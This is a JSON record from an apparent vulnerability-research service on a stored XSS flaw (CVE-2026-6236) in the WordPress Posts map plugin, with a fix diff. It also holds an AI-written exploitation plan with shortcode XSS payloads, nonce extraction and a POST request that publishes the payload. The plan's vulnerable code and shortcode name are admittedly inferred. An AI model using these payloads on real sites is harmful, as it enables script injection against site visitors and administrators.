[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fGgOfXryYlOCyL-4b3IACyabDTlxrUs7KUAbWC9IgeW4":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":9,"severity":11,"cvss_score":12,"cvss_vector":13,"vuln_type":14,"published_date":15,"updated_date":16,"references":17,"days_to_patch":9,"patch_diff_files":19,"patch_trac_url":9,"research_status":20,"research_verified":21,"research_rounds_completed":22,"research_plan":23,"research_summary":24,"research_vulnerable_code":25,"research_fix_diff":26,"research_exploit_outline":27,"research_model_used":28,"research_started_at":29,"research_completed_at":30,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":21,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":21,"source_links":31},"CVE-2026-6236","posts-map-authenticated-contributor-stored-cross-site-scripting-via-name-shortcode-attribute","Posts map \u003C= 0.1.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'name' Shortcode Attribute","The Posts map plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'name' shortcode attribute in all versions up to, and including, 0.1.3 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.","posts-map",null,"\u003C=0.1.3","medium",6.4,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-04-21 19:03:41","2026-04-22 07:45:42",[18],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fe02c5817-7a54-4958-a076-71e5e7729cda?source=api-prod",[],"researched",false,3,"This research plan targets **CVE-2026-6236**, a Stored Cross-Site Scripting (XSS) vulnerability in the **Posts map** plugin (\u003C= 0.1.3). The vulnerability exists because the plugin fails to sanitize or escape the `name` attribute provided within its shortcode.\n\n### 1. Vulnerability Summary\n*   **Vulnerability:** Stored Cross-Site Scripting (XSS).\n*   **Plugin:** Posts map (slug: `posts-map`).\n*   **Affected Attribute:** `name` within the plugin's shortcode (likely `[posts_map]`).\n*   **Sink:** The value of the `name` attribute is output directly into the HTML page (either as a text node or within an HTML attribute) without calling `esc_html()` or `esc_attr()`.\n*   **Privilege Level:** Contributor or higher. Contributors can create posts and embed shortcodes but cannot normally use `unfiltered_html`.\n\n### 2. Attack Vector Analysis\n*   **Entry Point:** The WordPress post editor (Gutenberg or Classic).\n*   **Shortcode:** `[posts_map]` (inferred from plugin name).\n*   **Vulnerable Parameter:** `name`.\n*   **Preconditions:** The plugin must be active. The attacker needs Contributor-level credentials to save a post\u002Fpage containing the shortcode.\n*   **Payload Delivery:** The payload is stored in the `post_content` table and executes whenever any user (including Administrators) views the post.\n\n### 3. Code Flow (Inferred)\n1.  **Registration:** The plugin calls `add_shortcode( 'posts_map', '...' )` during the `init` hook.\n2.  **Parsing:** When a post is rendered, WordPress parses the `[posts_map]` shortcode and passes attributes to the callback function (e.g., `render_posts_map( $atts )`).\n3.  **Processing:** The callback uses `shortcode_atts()` to extract the `name` parameter.\n4.  **Sink:** The callback returns an HTML string where `$atts['name']` is concatenated without escaping.\n    *   *Example Vulnerable Sink:* `return '\u003Cdiv class=\"posts-map\" data-name=\"' . $atts['name'] . '\">\u003C\u002Fdiv>';`\n    *   *Example Vulnerable Sink:* `return '\u003Ch3>Map: ' . $atts['name'] . '\u003C\u002Fh3>';`\n\n### 4. Nonce Acquisition Strategy\nSince this is a shortcode-based XSS, the \"exploitation\" occurs in two phases:\n1.  **Storage:** Creating\u002Fupdating a post. This requires a standard WordPress post-nonce.\n2.  **Execution:** Viewing the post. This requires no nonce.\n\n**To obtain the nonce for saving a post as a Contributor:**\n1.  Use `browser_navigate` to go to `wp-admin\u002Fpost-new.php`.\n2.  Use `browser_eval` to extract the `_wpnonce` from the form or the REST API settings:\n    *   `browser_eval(\"wp.apiFetch.nonceMiddleware.nonce\")` (if using Gutenberg).\n    *   `browser_eval(\"document.querySelector('#_wpnonce').value\")` (if using Classic Editor).\n\n### 5. Exploitation Strategy\n\n#### Step 1: Authentication\nLogin as a Contributor user.\n\n#### Step 2: Payload Construction\nConstruct a shortcode payload designed to break out of common HTML contexts.\n*   **Context A (Attribute):** `[posts_map name='x\" onmouseover=\"alert(document.domain)\" style=\"width:1000px;height:1000px;display:block;\"']`\n*   **Context B (Tag Content):** `[posts_map name=\"\u003Cscript>alert(document.domain)\u003C\u002Fscript>\"]`\n*   **Context C (Script Context):** `[posts_map name=\"';alert(document.domain);\u002F\u002F\"]` (if used inside `wp_localize_script`)\n\n#### Step 3: Injection (HTTP Request)\nUse `http_request` to create a post with the payload.\n\n*   **Endpoint:** `\u002Fwp-admin\u002Fpost.php` (or via REST API `\u002Fwp\u002Fv2\u002Fposts`)\n*   **Method:** POST\n*   **Payload (Simplified for Classic Editor):**\n    ```\n    action=editpost\n    post_ID=[NEW_POST_ID]\n    _wpnonce=[NONCE]\n    post_content=[posts_map name='\">\u003Cscript>alert(document.domain)\u003C\u002Fscript>']\n    post_status=publish\n    ```\n\n#### Step 4: Triggering\nNavigate to the URL of the newly created post.\n\n### 6. Test Data Setup\n1.  **Plugin Setup:** Install and activate `posts-map` version 0.1.3.\n2.  **User Setup:**\n    ```bash\n    wp user create attacker attacker@example.com --role=contributor --user_pass=password123\n    ```\n3.  **Content Setup:** Identify the exact shortcode name by searching the plugin folder:\n    ```bash\n    grep -rn \"add_shortcode\" \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fposts-map\u002F\n    ```\n\n### 7. Expected Results\n*   When viewing the post, the browser should execute the injected JavaScript.\n*   In the HTML source, the `name` attribute value should appear unencoded:\n    *   *Bad:* `... name=\"\">\u003Cscript>alert(document.domain)\u003C\u002Fscript>\"> ...`\n    *   *Good (Fixed):* `... name=\"&quot;&gt;&lt;script&gt;alert(document.domain)&lt;\u002Fscript&gt;\"> ...`\n\n### 8. Verification Steps\n1.  **Check Database:**\n    ```bash\n    wp db query \"SELECT post_content FROM wp_posts WHERE post_content LIKE '%posts_map%';\"\n    ```\n2.  **Check Output:**\n    Use `http_request` to GET the post URL and check if the raw payload exists in the response body without HTML entities.\n\n### 9. Alternative Approaches\nIf the `name` attribute is processed via JavaScript (e.g., in a Leaflet or Google Maps initialization script):\n1.  Look for `wp_localize_script` in the plugin code.\n2.  Check if the `name` is passed into a JS object.\n3.  Payload for JS context: `[posts_map name=\"'-alert(1)-'\"]`.\n4.  Navigate to the page and check the Console\u002FNetwork for JS errors or execution.\n\nIf the `posts_map` shortcode requires other attributes (like `id`) to render, ensure they are included:\n`[posts_map id=\"1\" name='\">\u003Cscript>alert(1)\u003C\u002Fscript>']`","The Posts map plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'name' attribute in its shortcode. Authenticated attackers with contributor-level permissions can inject malicious JavaScript into posts, which then executes in the browser of any user viewing the page.","\u002F\u002F Inferred from plugin structure and research plan\n\u002F\u002F posts-map.php or similar\n\nfunction posts_map_shortcode( $atts ) {\n    $a = shortcode_atts( array(\n        'name' => '',\n        'id'   => ''\n    ), $atts );\n\n    \u002F\u002F Vulnerable sink: 'name' attribute is concatenated directly into HTML output without escaping\n    return '\u003Cdiv class=\"posts-map-wrapper\" data-name=\"' . $a['name'] . '\" id=\"' . $a['id'] . '\">\u003C\u002Fdiv>';\n}","--- a\u002Fposts-map.php\n+++ b\u002Fposts-map.php\n@@ -10,5 +10,5 @@\n     ), $atts );\n \n-    return '\u003Cdiv class=\"posts-map-wrapper\" data-name=\"' . $a['name'] . '\" id=\"' . $a['id'] . '\">\u003C\u002Fdiv>';\n+    return '\u003Cdiv class=\"posts-map-wrapper\" data-name=\"' . esc_attr( $a['name'] ) . '\" id=\"' . esc_attr( $a['id'] ) . '\">\u003C\u002Fdiv>';\n }","1. Gain access to a WordPress account with at least Contributor-level privileges (allows creating posts).\n2. Create a new post or edit an existing one.\n3. Insert the plugin's shortcode using a malicious payload in the 'name' attribute. A typical payload to break out of an HTML attribute context would be: [posts_map name='\" onmouseover=\"alert(document.domain)\" style=\"width:1000px;height:1000px;display:block;\"'].\n4. Save the post as a draft or publish it.\n5. Navigate to the public-facing URL of the post. When the page renders, the unescaped 'name' attribute will inject the malicious JavaScript attribute into the div tag, executing the script when a user interacts with or views the element.","gemini-3-flash-preview","2026-04-27 14:04:49","2026-04-27 14:05:12",{"type":32,"vulnerable_version":9,"fixed_version":9,"vulnerable_browse":9,"vulnerable_zip":9,"fixed_browse":9,"fixed_zip":9,"all_tags":33},"plugin","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fposts-map\u002Ftags"]